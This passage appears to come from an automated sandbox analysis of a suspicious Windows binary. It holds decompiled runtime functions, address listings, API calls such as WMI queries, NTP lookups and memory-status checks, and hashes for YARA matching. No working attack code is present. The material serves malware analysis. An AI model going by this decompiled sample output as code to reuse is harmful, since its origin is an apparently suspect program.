																				_t283 =  *_t382;
																				_t382 = _t382 + 2;
																				__eflags = _t283 - _v712;
																			} while (_t283 != _v712);
																			_v728 = (_t382 - _t424 >> 1) + 1;
																			_t286 = E004B3009(_t382 - _t424 >> 1, 4 + ((_t382 - _t424 >> 1) + 1) * 2);
																			_v740 = _t286;
																			__eflags = _t286;
																			if(_t286 == 0) {
																				goto L84;
																			} else {
																				_v732 =  *((intOrPtr*)(_t452 + _t432));
																				_v744 =  *(_t432 + 0xa0 + _t364 * 4);
																				_v748 =  *(_t432 + 8);
																				_t391 =  &_v280;
																				_v720 = _t286 + 4;
																				_t290 = L004ADE87(_t286 + 4, _v728,  &_v280);
																				_t479 = _t477 + 0xc;
																				__eflags = _t290;
																				if(_t290 != 0) {
																					_t291 = _v712;
																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					L004A5EA4(_t291);
																					asm("int3");
																					return  *0x4ee700;
																				} else {
																					__eflags = _v280 - 0x43;
																					 *((intOrPtr*)(_t452 + _t432)) = _v720;
																					if(_v280 != 0x43) {
																						L102:
																						_t296 = L004B1CDC(_t364, _t391, _t432,  &_v708);
																						_t393 = _v712;
																						 *(_t432 + 0xa0 + _t364 * 4) = _t296;
																					} else {
																						__eflags = _v278;
																						if(_v278 != 0) {
																							goto L102;
																						} else {
																							_t393 = _v712;
																							 *(_t432 + 0xa0 + _t364 * 4) = _t393;
																						}
																					}
																					__eflags = _t364 - 2;
																					if(_t364 != 2) {
																						__eflags = _t364 - 1;
																						if(_t364 != 1) {
																							__eflags = _t364 - 5;
																							if(_t364 == 5) {
																								 *((intOrPtr*)(_t432 + 0x14)) = _v716;
																							}
																						} else {
																							 *((intOrPtr*)(_t432 + 0x10)) = _v716;
																						}
																					} else {
																						_t457 = _v736;
																						_t425 = _t393;
																						_t403 = _t457;
																						 *(_t432 + 8) = _v716;
																						_v720 = _t457;
																						_v728 = _t457[8];
																						_v716 = _t457[9];
																						while(1) {
																							__eflags =  *(_t432 + 8) -  *_t403;
																							if( *(_t432 + 8) ==  *_t403) {
																								break;
																							}
																							_t458 = _v720;
																							_t425 = _t425 + 1;
																							_t328 =  *_t403;
																							 *_t458 = _v728;
																							_v716 = _t403[1];
																							_t403 = _t458 + 8;
																							 *((intOrPtr*)(_t458 + 4)) = _v716;
																							_t364 = _v752;
																							_t457 = _v736;
																							_v728 = _t328;
																							_v720 = _t403;
																							__eflags = _t425 - 5;
																							if(_t425 < 5) {
																								continue;
																							} else {
																							}
																							L110:
																							__eflags = _t425 - 5;
																							if(_t425 == 5) {
																								_t319 = L004BAE04(_t364, _t432, _t457, _v712, 1, 0x406818, 0x7f,  &_v536,  *(_t432 + 8), 1);
																								_t479 = _t479 + 0x1c;
																								__eflags = _t319;
																								_t320 = _v712;
																								if(_t319 == 0) {
																									_t457[1] = _t320;
																								} else {
																									do {
																										 *(_t465 + _t320 * 2 - 0x20c) =  *(_t465 + _t320 * 2 - 0x20c) & 0x000001ff;
																										_t320 = _t320 + 1;
																										__eflags = _t320 - 0x7f;
																									} while (_t320 < 0x7f);
																									_t323 = L0049FC6A( &_v536,  *0x4eb1bc, 0xfe);
																									_t479 = _t479 + 0xc;
																									__eflags = _t323;
																									_t457[1] = 0 | _t323 == 0x00000000;
																								}
																								 *_t457 =  *(_t432 + 8);
																							}
																							 *(_t432 + 0x18) = _t457[1];
																							goto L121;
																						}
																						__eflags = _t425;
																						if(_t425 != 0) {
																							 *_t457 =  *(_t457 + _t425 * 8);
																							_t457[1] =  *(_t457 + 4 + _t425 * 8);
																							 *(_t457 + _t425 * 8) = _v728;
																							 *(_t457 + 4 + _t425 * 8) = _v716;
																						}
																						goto L110;
																					}
																					L121:
																					 *0x4f02b4(_t432);
																					_t299 =  *((intOrPtr*)( *((intOrPtr*)(0x406758 + _t364 * 0xc))))();
																					_t396 = _v732;
																					__eflags = _t299;
																					if(_t299 == 0) {
																						__eflags = _t396 - 0x4eb288;
																						if(_t396 != 0x4eb288) {
																							_t456 = _t364 + _t364;
																							__eflags = _t456;
																							asm("lock xadd [eax], ecx");
																							if(_t456 != 0) {
																								goto L126;
																							} else {
																								E004B2FCF( *((intOrPtr*)(_t432 + 0x28 + _t456 * 8)));
																								E004B2FCF( *((intOrPtr*)(_t432 + 0x24 + _t456 * 8)));
																								E004B2FCF( *(_t432 + 0xa0 + _t364 * 4));
																								_t399 = _v712;
																								 *((intOrPtr*)(_v724 + _t432)) = _t399;
																								 *(_t432 + 0xa0 + _t364 * 4) = _t399;
																							}
																						}
																						_t397 = _v740;
																						 *_t397 = 1;
																						 *((intOrPtr*)(_t432 + 0x28 + (_t364 + _t364) * 8)) = _t397;
																					} else {
																						 *(_v724 + _t432) = _t396;
																						E004B2FCF( *(_t432 + 0xa0 + _t364 * 4));
																						 *(_t432 + 0xa0 + _t364 * 4) = _v744;
																						E004B2FCF(_v740);
																						 *(_t432 + 8) = _v748;
																						goto L84;
																					}
																					goto L85;
																				}
																			}
																		} else {
																			goto L85;
																		}
																		goto L130;
																	}
																	asm("sbb eax, eax");
																	_t282 = _t281 | 0x00000001;
																	__eflags = _t282;
																	goto L93;
																} else {
																	L84:
																	__eflags = 0;
																	L85:
																	__eflags = _v16 ^ _t465;
																	return L0049CE1D(_v16 ^ _t465);
																}
															} else {
																_t330 = _t447 + _t447;
																__eflags = _t330 - 0x106;
																if(_t330 >= 0x106) {
																	E0049D41D();
																	goto L82;
																} else {
																	 *((short*)(_t463 + _t330 - 0x10c)) = 0;
																	_t332 =  &_v276;
																	_push(_t332);
																	_push(_v460);
																	_push(_t428);
																	L83();
																	_t472 = _t475 + 0xc;
																	__eflags = _t332;
																	_t268 = _v452;
																	if(_t332 != 0) {
																		_t268 = _t268 + 1;
																		_v452 = _t268;
																	}
																	L54:
																	_t444 = _t359 + _t447 * 2;
																	_t370 = 0;
																	__eflags =  *_t444;
																	if( *_t444 == 0) {
																		L56:
																		__eflags = _t268;
																		L77:
																		if(__eflags != 0) {
																			goto L79;
																		} else {
																		}
																		goto L80;
																	} else {
																		_t444 = _t444 + 2;
																		__eflags =  *_t444;
																		if( *_t444 != 0) {
																			continue;
																		} else {
																			goto L56;
																		}
																	}
																}
															}
														}
													} else {
														_t333 = 0x3b;
														__eflags =  *_t359 - _t333;
														if( *_t359 != _t333) {
															break;
														} else {
															goto L48;
														}
													}
												}
											}
											goto L130;
										}
										goto L80;
									}
								}
							}
						}
					} else {
						__eflags = _t444;
						if(_t444 != 0) {
							_push(_t444);
							_push(_t249);
							_push(_t428);
							L83();
						}
						L80:
						__eflags = _v12 ^ _t463;
						return L0049CE1D(_v12 ^ _t463);
					}
				}
				L130:
			}

0x004b2407
0x004b240a
0x004b240c
0x004b240f
0x004b2410
0x004b2419
0x004b241c
0x004b2421
0x004b2423
0x004b2425
0x004b2428
0x004b2541
0x004b2546
0x004b242e
0x004b242e
0x004b242f
0x004b2432
0x004b2435
0x004b2437
0x004b243a
0x004b243a
0x004b243d
0x004b243f
0x004b2442
0x004b2447
0x004b2455
0x004b245f
0x004b2462
0x004b2465
0x004b2465
0x004b2470
0x004b2475
0x004b247a
0x00000000
0x004b2480
0x004b2483
0x004b2483
0x004b2486
0x004b2488
0x004b248b
0x004b248b
0x004b248b
0x004b248d
0x004b248d
0x004b248d
0x004b2493
0x00000000
0x00000000
0x004b2498
0x004b24af
0x004b24af
0x004b249a
0x004b249a
0x004b24a2
0x00000000
0x004b24a4
0x004b24a4
0x004b24a7
0x004b24ad
0x00000000
0x00000000
0x00000000
0x00000000
0x004b24ad
0x004b24a2
0x004b24b8
0x004b24bd
0x004b24bf
0x004b24c4
0x004b24c7
0x004b24ca
0x004b24cd
0x004b24d0
0x004b24d2
0x004b24d7
0x004b24e1
0x004b24e9
0x004b24f1
0x00000000
0x004b24f7
0x004b24fb
0x004b2548
0x004b254e
0x004b2551
0x004b2554
0x004b2556
0x004b255a
0x004b255e
0x004b2560
0x004b2563
0x004b2568
0x004b255e
0x004b2569
0x004b256c
0x004b256e
0x004b2570
0x004b2574
0x004b2575
0x004b2577
0x004b257a
0x004b257f
0x004b2575
0x004b2582
0x004b2585
0x004b2588
0x004b258b
0x004b258e
0x004b258e
0x004b24fd
0x004b24fd
0x004b2500
0x004b2503
0x004b2505
0x004b2509
0x004b250d
0x004b250f
0x004b2512
0x004b2517
0x004b250d
0x004b2518
0x004b251d
0x004b251f
0x004b2524
0x004b2526
0x004b2529
0x004b252e
0x004b2524
0x004b252f
0x004b2533
0x004b2536
0x004b253a
0x004b253d
0x004b253d
0x00000000
0x004b2540
0x00000000
0x004b24f1
0x004b24b3
0x004b24b5
0x004b24b5
0x00000000
0x004b24b5
0x004b2595
0x004b2596
0x004b2597
0x004b2598
0x004b2599
0x004b259a
0x004b259f
0x004b25a2
0x004b25a3
0x004b25a5
0x004b25ab
0x004b25b2
0x004b25b5
0x004b25b8
0x004b25b9
0x004b25ba
0x004b25bd
0x004b25be
0x004b25c1
0x004b25c7
0x004b25c9
0x004b25ee
0x004b25f8
0x004b25fe
0x004b2600
0x004b2606
0x004b2608
0x004b285b
0x004b285c
0x00000000
0x004b260e
0x004b260e
0x004b2612
0x004b2779
0x004b2779
0x004b2790
0x004b2795
0x004b2798
0x004b279a
0x004b27a0
0x004b27a0
0x004b27a2
0x004b27a2
0x004b27a5
0x004b27a7
0x004b27ad
0x004b27ad
0x004b27af
0x004b2836
0x004b2836
0x004b27b5
0x004b27b5
0x004b27b7
0x004b27bd
0x004b27c0
0x004b27c3
0x004b27c9
0x00000000
0x00000000
0x004b27cb
0x004b27cf
0x004b27f8
0x004b27f8
0x004b27fa
0x004b27d1
0x004b27d1
0x004b27d5
0x004b27d9
0x004b27e0
0x004b27e6
0x00000000
0x004b27e8
0x004b27e8
0x004b27eb
0x004b27ee
0x004b27f6
0x00000000
0x00000000
0x00000000
0x00000000
0x004b27f6
0x004b27e6
0x004b2805
0x004b2805
0x004b2807
0x004b2835
0x004b2835
0x00000000
0x004b2809
0x004b2809
0x004b280f
0x004b2810
0x004b2811
0x004b2812
0x004b2817
0x004b281d
0x004b2820
0x004b2822
0x004b2829
0x004b282b
0x004b282d
0x004b2824
0x004b2824
0x004b2825
0x00000000
0x004b2825
0x004b2822
0x00000000
0x004b2807
0x004b27fe
0x004b2800
0x004b2803
0x004b2803
0x00000000
0x004b2803
0x004b283c
0x004b283c
0x004b283d
0x004b2840
0x004b2846
0x004b2846
0x004b284f
0x004b2851
0x00000000
0x004b2853
0x004b2853
0x00000000
0x004b2853
0x004b2851
0x00000000
0x004b2618
0x004b2618
0x004b261d
0x00000000
0x004b2623
0x004b2623
0x004b2628
0x00000000
0x004b262e
0x004b262e
0x004b2634
0x004b2639
0x004b263b
0x004b2642
0x004b2643
0x004b2645
0x00000000
0x00000000
0x004b264b
0x004b264b
0x004b264f
0x004b2655
0x00000000
0x004b265b
0x004b265d
0x004b265e
0x004b2661
0x00000000
0x004b2667
0x004b2667
0x004b266d
0x004b2672
0x004b267c
0x004b2680
0x004b2685
0x004b2688
0x004b268a
0x00000000
0x004b268c
0x004b268c
0x004b268e
0x004b2691
0x004b2691
0x004b2694
0x004b2697
0x004b2697
0x004b26a2
0x004b26a4
0x004b26a6
0x00000000
0x00000000
0x004b26a6
0x00000000
0x004b26a8
0x004b26a8
0x004b26ae
0x004b26b1
0x004b26b1
0x004b26bf
0x004b26c8
0x004b26cd
0x004b26d3
0x004b26d6
0x004b26d7
0x004b26d9
0x004b26e7
0x004b26e7
0x004b26ee
0x004b274f
0x00000000
0x004b26f0
0x004b26f0
0x004b26fe
0x004b2703
0x004b2706
0x004b2708
0x004b2878
0x004b287a
0x004b287b
0x004b287c
0x004b287d
0x004b287e
0x004b287f
0x004b2884
0x004b2887
0x004b2888
0x004b2897
0x004b289a
0x004b289b
0x004b289e
0x004b28a2
0x004b28a3
0x004b28a6
0x004b28b6
0x004b28c2
0x004b28d9
0x004b28de
0x004b28e1
0x004b28e3
0x004b28fb
0x004b28fb
0x004b28fe
0x004b2904
0x004b290d
0x004b290f
0x004b2912
0x004b2919
0x004b291c
0x004b2922
0x00000000
0x00000000
0x004b2924
0x004b2928
0x004b2951
0x004b2951
0x004b292a
0x004b292a
0x004b292e
0x004b2932
0x004b2939
0x004b293f
0x00000000
0x004b2941
0x004b2941
0x004b2944
0x004b2947
0x004b294f
0x00000000
0x00000000
0x00000000
0x00000000
0x004b294f
0x004b293f
0x004b295e
0x004b295e
0x004b2960
0x004b2966
0x004b296c
0x004b296f
0x004b296f
0x004b2972
0x004b2975
0x004b2975
0x004b2985
0x004b2993
0x004b2998
0x004b299f
0x004b29a1
0x00000000
0x004b29a7
0x004b29ad
0x004b29ba
0x004b29c3
0x004b29c9
0x004b29d6
0x004b29dd
0x004b29e2
0x004b29e5
0x004b29e7
0x004b2c40
0x004b2c46
0x004b2c47
0x004b2c48
0x004b2c49
0x004b2c4a
0x004b2c4b
0x004b2c50
0x004b2c56
0x004b29ed
0x004b29ed
0x004b29fb
0x004b29fe
0x004b2a19
0x004b2a20
0x004b2a26
0x004b2a2c
0x004b2a00
0x004b2a00
0x004b2a08
0x00000000
0x004b2a0a
0x004b2a0a
0x004b2a10
0x004b2a10
0x004b2a08
0x004b2a33
0x004b2a36
0x004b2b53
0x004b2b56
0x004b2b63
0x004b2b66
0x004b2b6e
0x004b2b6e
0x004b2b58
0x004b2b5e
0x004b2b5e
0x004b2a3c
0x004b2a3c
0x004b2a42
0x004b2a4a
0x004b2a4c
0x004b2a4f
0x004b2a58
0x004b2a61
0x004b2a67
0x004b2a6a
0x004b2a6c
0x00000000
0x00000000
0x004b2a6e
0x004b2a74
0x004b2a75
0x004b2a80
0x004b2a88
0x004b2a90
0x004b2a93
0x004b2a96
0x004b2a9c
0x004b2aa2
0x004b2aa8
0x004b2aae
0x004b2ab1
0x00000000
0x00000000
0x004b2ab3
0x004b2ad8
0x004b2ad8
0x004b2adb
0x004b2af8
0x004b2afd
0x004b2b00
0x004b2b02
0x004b2b08
0x004b2b43
0x004b2b0a
0x004b2b0a
0x004b2b0f
0x004b2b17
0x004b2b18
0x004b2b18
0x004b2b2f
0x004b2b36
0x004b2b39
0x004b2b3e
0x004b2b3e
0x004b2b49
0x004b2b49
0x004b2b4e
0x00000000
0x004b2b4e
0x004b2ab5
0x004b2ab7
0x004b2abc
0x004b2ac2
0x004b2acb
0x004b2ad4
0x004b2ad4
0x00000000
0x004b2ab7
0x004b2b71
0x004b2b7d
0x004b2b83
0x004b2b86
0x004b2b8c
0x004b2b8e
0x004b2bce
0x004b2bd4
0x004b2bdb
0x004b2bdb
0x004b2be1
0x004b2be5
0x00000000
0x004b2be7
0x004b2beb
0x004b2bf4
0x004b2c00
0x004b2c0e
0x004b2c14
0x004b2c17
0x004b2c17
0x004b2be5
0x004b2c26
0x004b2c2e
0x004b2c37
0x004b2b90
0x004b2b96
0x004b2ba0
0x004b2bb2
0x004b2bb9
0x004b2bc6
0x00000000
0x004b2bc6
0x00000000
0x004b2b8e
0x004b29e7
0x004b2962
0x00000000
0x004b2962
0x00000000
0x004b2960
0x004b2959
0x004b295b
0x004b295b
0x00000000
0x004b28e5
0x004b28e5
0x004b28e5
0x004b28e7
0x004b28ec
0x004b28f7
0x004b28f7
0x004b270e
0x004b270e
0x004b2711
0x004b2716
0x004b2873
0x00000000
0x004b271c
0x004b271e
0x004b2726
0x004b272c
0x004b272d
0x004b2733
0x004b2734
0x004b2739
0x004b273c
0x004b273e
0x004b2744
0x004b2746
0x004b2747
0x004b2747
0x004b2755
0x004b2755
0x004b2758
0x004b275a
0x004b275d
0x004b276b
0x004b276b
0x004b2855
0x004b2855
0x00000000
0x004b2857
0x004b2857
0x00000000
0x004b275f
0x004b275f
0x004b2762
0x004b2765
0x00000000
0x00000000
0x00000000
0x00000000
0x004b2765
0x004b275d
0x004b2716
0x004b2708
0x004b26db
0x004b26dd
0x004b26de
0x004b26e1
0x00000000
0x00000000
0x00000000
0x00000000
0x004b26e1
0x004b26d9
0x004b2661
0x00000000
0x004b2655
0x00000000
0x004b2772
0x004b2628
0x004b261d
0x004b2612
0x004b25cb
0x004b25cb
0x004b25cd
0x004b25cf
0x004b25d0
0x004b25d1
0x004b25d2
0x004b25d7
0x004b2862
0x004b2867
0x004b2872
0x004b2872
0x004b25c9
0x00000000

APIs

Part of subcall function 004B3009: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

_free.LIBCMT ref: 004B2512
_free.LIBCMT ref: 004B2529
_free.LIBCMT ref: 004B2548
_free.LIBCMT ref: 004B2563
_free.LIBCMT ref: 004B257A

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 6590344c140a246e0338c9ca577d838612265a185cddcabaea799a6be5ce2334
Instruction ID: f6034767129b596bef2b2a787979fe0e688cef0b096ecb0ecbda55070cb1135e
Opcode Fuzzy Hash: 6590344c140a246e0338c9ca577d838612265a185cddcabaea799a6be5ce2334
Instruction Fuzzy Hash: BF51D731A00704AFDB21DF6ACD41BAA77F4EF48724B14456FE809D7250E779DA018B64

Uniqueness

Uniqueness Score: -1.00%

Function 004347BE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 004347C5
_strlen.LIBCMT ref: 004347DA

Strings

,dKH, xrefs: 00434814
0!H, xrefs: 004348A8, 004348D4, 00434850, 0043487C

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_catch_strlen
String ID: ,dKH$0!H
API String ID: 3133806014-1186801689
Opcode ID: fa4764ebac466e7d30374638d86a764126c7a54d0c5442967fe89407a022579b
Instruction ID: 5ce88bcbcc5bc754847acfaa742eaa4041ee730367738a5133e28c2340b2b00f
Opcode Fuzzy Hash: fa4764ebac466e7d30374638d86a764126c7a54d0c5442967fe89407a022579b
Instruction Fuzzy Hash: E451AE78E005549FCB18EF69C8809EDBBB1BF8C314F24525AE825EB391D735AD42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043F5AD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(ROOT\CIMV2), ref: 0043F5FC
SysFreeString.OLEAUT32(00000000), ref: 0043F621
SysFreeString.OLEAUT32(00000000), ref: 0043F63C

Strings

ROOT\CIMV2, xrefs: 0043F5F7

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$Free$Alloc
String ID: ROOT\CIMV2
API String ID: 986138563-2786109267
Opcode ID: f50879efc72456f3417d35471ad7396918315885eea346d09e3919b43a4444a4
Instruction ID: 575ec65e1ed88dcb6f0224d6cffea78159b495e06c99076a3ef412c70ffff06e
Opcode Fuzzy Hash: f50879efc72456f3417d35471ad7396918315885eea346d09e3919b43a4444a4
Instruction Fuzzy Hash: 0D218430B40219BFD3106B66DC99F277FACFF4A799F110135F506DA1A1DA67B8068A38

Uniqueness

Uniqueness Score: -1.00%

Function 0043EDD8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,ntp,00000000,?), ref: 0043EDF7
FreeAddrInfoW.WS2_32(?), ref: 0043EE23

Strings

ntp, xrefs: 0043EDF1

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddrFreeInfogetaddrinfo
String ID: ntp
API String ID: 738001165-2791240438
Opcode ID: aa52a9a267d5e993d6b9dafff03cf3db00f07c097d8857e479f64d334cb04577
Instruction ID: 813546253c185ea69f57d150ea22e58f514157f9f190900758148c66b079ed7b
Opcode Fuzzy Hash: aa52a9a267d5e993d6b9dafff03cf3db00f07c097d8857e479f64d334cb04577
Instruction Fuzzy Hash: EDF0A472E01214BBDB219F519C42AAFB7B4DB48724F01056AE801A7341C635BE448698

Uniqueness

Uniqueness Score: -1.00%

Function 004BA349, Relevance: 4.6, APIs: 3, Instructions: 80COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004BA3BC
_free.LIBCMT ref: 004BA412

Part of subcall function 004BA1EE: _free.LIBCMT ref: 004BA246
Part of subcall function 004BA1EE: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004078B0), ref: 004BA258

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: f0766efe5d0172bf6359540185a29b3e00efd60ac64b1790251426d7d52e640d
Instruction ID: e3eec0eb33b400744316c89813d9213bc2e7e4c022279863c91d4977750c02b7
Opcode Fuzzy Hash: f0766efe5d0172bf6359540185a29b3e00efd60ac64b1790251426d7d52e640d
Instruction Fuzzy Hash: 82213E32C0012897CB31A7259C85DEB7778CF41324F10076BF854A3192EF785E9195FA

Uniqueness

Uniqueness Score: -1.00%

Function 0042D212, Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0042D219
std::_Lockit::_Lockit.LIBCPMT ref: 0042D226

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Lockit::~_Lockit.LIBCPMT ref: 0042D2B5

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3_Lockit::_Lockit::~_
String ID:
API String ID: 1106374426-0
Opcode ID: 041bc34d15052334b855b5476a21381e8e99cda03f4cd0c4c7648dba14c78aa1
Instruction ID: b10816b20c4b7979c20d622172b586cac8cbf88f33b607c53ddd41a88e0d6d73
Opcode Fuzzy Hash: 041bc34d15052334b855b5476a21381e8e99cda03f4cd0c4c7648dba14c78aa1
Instruction Fuzzy Hash: 52F0E931F0021997CB00FF919852BBE7724EF40314F80051EE5505B2C2CF3C9E068798

Uniqueness

Uniqueness Score: -1.00%

Function 004AFD31, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004AFE66

Strings

rJI, xrefs: 004AFD3E, 004AFE72

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID: rJI
API String ID: 269201875-2913090455
Opcode ID: 6c4466bba30a4a470c992cc6efab49009c032a0095ee51ad248b97521765a2ed
Instruction ID: b6de21fa016183232a28379660831b9fe3c152bf345b07ed3a34356b345bd6ae
Opcode Fuzzy Hash: 6c4466bba30a4a470c992cc6efab49009c032a0095ee51ad248b97521765a2ed
Instruction Fuzzy Hash: FB411035A001059BCB25EFA8C8416BEB7B9EF55314F58416EE946DB380E6396E06C748

Uniqueness

Uniqueness Score: -1.00%

Function 0043804F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00434A0A: __alldvrm.LIBCMT ref: 00434A47
Part of subcall function 00434A0A: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00434A65

__Thrd_sleep.LIBCPMT ref: 00438096

Strings

zC, xrefs: 00438084

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Thrd_sleepUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID: zC
API String ID: 2244948955-3727955402
Opcode ID: 32297d2de020c3882b4c9e9223f48c4b7f161e92c82e66961db1cce230986b08
Instruction ID: 2e1f96f8df3219c6b1ffde2ac08e2d96f184b47fd7a7bc5b6b5bc153b1d90db2
Opcode Fuzzy Hash: 32297d2de020c3882b4c9e9223f48c4b7f161e92c82e66961db1cce230986b08
Instruction Fuzzy Hash: 6FF01931D002098BCF08EFA5C5818EEF7B4FB4C704F10552FE502A7241EAB86A49CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004385E5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00438612

Strings

@, xrefs: 00438607

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 9b40e4c76074056e1fe06d2686baada3a744f24ee3108fe6066016e4794167ea
Instruction ID: 68cafc695cc66c111c17dc5b2250578afaeccfb7f8b4711f3a2e283074352f60
Opcode Fuzzy Hash: 9b40e4c76074056e1fe06d2686baada3a744f24ee3108fe6066016e4794167ea
Instruction Fuzzy Hash: 0DF05471D013189BDF14EBA5D946A9EB7B8EB44754F00016EF505A2140DA786A05CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 004B6D93, Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e54255b557081cf236728db427bbf9409f3876fa80b2d3fbae7cb8af677069f
Instruction ID: c6ff521e39fab48017386494f0ccc93667d222964966a86b9210597ca33a3230
Opcode Fuzzy Hash: 3e54255b557081cf236728db427bbf9409f3876fa80b2d3fbae7cb8af677069f
Instruction Fuzzy Hash: D451CF71A00209ABDF119FA9D845EFF7BB8AF1A314F12015BF404A7292D73C9902CB79

Uniqueness

Uniqueness Score: -1.00%

Function 0042B15C, Relevance: 3.1, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0042B18E
std::_Lockit::~_Lockit.LIBCPMT ref: 0042B21A

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Locinfo::_Locinfo_dtorLockitLockit::~_
String ID:
API String ID: 3286764726-0
Opcode ID: 6872e3fba9253834f1ff54228b39b3e0805d7664d63717d9433000f69ea28b64
Instruction ID: e0a999df1532b4eff120b3d55a41a7eadebf3282487a9f327756634a18ec5111
Opcode Fuzzy Hash: 6872e3fba9253834f1ff54228b39b3e0805d7664d63717d9433000f69ea28b64
Instruction Fuzzy Hash: 29219E71805B40DFCB319F59EA41B5AFBF0FB09714F10866FE05A92691C7786A04CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0043845F, Relevance: 3.1, APIs: 2, Instructions: 55timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,00000000,FFFFD8F0,000000FF), ref: 004384A3
FindCloseChangeNotification.KERNEL32(00000000,?,00000000,FFFFD8F0,000000FF), ref: 004384C5

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotificationTimerWaitable
String ID:
API String ID: 3672239175-0
Opcode ID: 9cc8cbb757cc833fac1f7689e5b2e4045e6e0ec8eef504e644c488d7584c5a4f
Instruction ID: ccdbea19d5adb761a416066da79bc503bf1a9718c9730a1b64be876da7f10e42
Opcode Fuzzy Hash: 9cc8cbb757cc833fac1f7689e5b2e4045e6e0ec8eef504e644c488d7584c5a4f
Instruction Fuzzy Hash: 09017571601214BF87115F7A6C88E7FBFBCEECA660710423DF415D2251DE348900C6A8

Uniqueness

Uniqueness Score: -1.00%

Function 004AAF22, Relevance: 3.1, APIs: 2, Instructions: 54threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(?,?,Function_000AADCE,00000000,?,?), ref: 004AAF6B
__dosmaperr.LIBCMT ref: 004AAF7E

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateThread__dosmaperr
String ID:
API String ID: 1062976647-0
Opcode ID: 479a5b1b6d2037a72761af19e69e0e9cad5f77fad325084e61f3f56302ac4eb1
Instruction ID: 64dabecf15abf50e1c0b97aa783f84f46e0c006714f0febc9dc49da3f110676e
Opcode Fuzzy Hash: 479a5b1b6d2037a72761af19e69e0e9cad5f77fad325084e61f3f56302ac4eb1
Instruction Fuzzy Hash: C801D876504109AFCB299FA2DC05DEF7B69EFA6320F00016AFC0587210DB398D31D7AA

Uniqueness

Uniqueness Score: -1.00%

Function 004B361B, Relevance: 3.0, APIs: 2, Instructions: 50COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004B3652
_free.LIBCMT ref: 004B367A

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
